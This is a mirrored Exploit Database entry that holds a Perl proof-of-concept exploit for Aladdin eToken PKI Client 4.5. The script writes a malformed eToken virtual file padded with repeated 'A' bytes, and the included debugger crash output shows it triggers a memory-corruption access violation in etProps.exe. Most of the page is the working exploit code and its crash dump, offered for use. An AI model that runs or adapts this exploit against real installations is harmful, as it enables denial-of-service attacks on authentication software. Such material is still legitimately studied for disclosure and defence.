Aladdin eToken PKI Client 4.5 – Virtual File Handling Memory Corruption (PoC)

• Exploit Database
• 11 阅读

• 作者： LiquidWorm
  日期： 2010-04-11
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12161/

• #!/usr/bin/perl -w
  #
  # Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC
  #
  #
  #
  # Summary: The eToken PKI Client is the software that enables eToken USB operation and the
  # implementation of eToken PKI-based solutions. These solutions include certificate-based
  # strong two-factor authentication, encryption and digital signing. With the PKI Client your
  # PKI solutions become highly secure, extremely convenient and portable, as you can easily and
  # securely generate and store PKI keys on-board eToken smart card-based devices.
  #
  # Vendor: Aladdin Knowledge Systems Ltd.
  # Product web page: http://www.aladdin.com
  #
  # Version tested: 4.5.52
  # Tested on Microsoft Windows XP Professional SP3 (EN)
  #
  #
  #
  # ===================================================================================
  #
  # (154c.a74): Access violation - code c0000005 (first chance)
  # First chance exceptions are reported before any exception handling.
  # This exception may be expected and handled.
  # eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90
  # eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0 nv up ei pl nz na po nc
  # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
  # *** ERROR: Module load completed but symbols could not be loaded for etProps.exe
  # etProps+0x5d3d3:
  # 0045d3d3 8b8ea4000000mov ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????
  #
  # ===================================================================================
  #
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  #
  # Zero Science Lab - http://www.zeroscience.mk
  #
  # liquidworm gmail com
  #
  # 11.04.2010
  #
  # Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php
  #
  
  
  $fajl = "Aladdin.etv"; # eToken Virtual file
  
  $djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
  	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
  
  open etv, ">./$fajl" || die "\nCan't open $fajl: $!";
  print etv $djubre x 100;
  print "\n [o] Writing to file...\n";
  sleep 1;
  close etv;
  print "\n [o] File $fajl created.\n";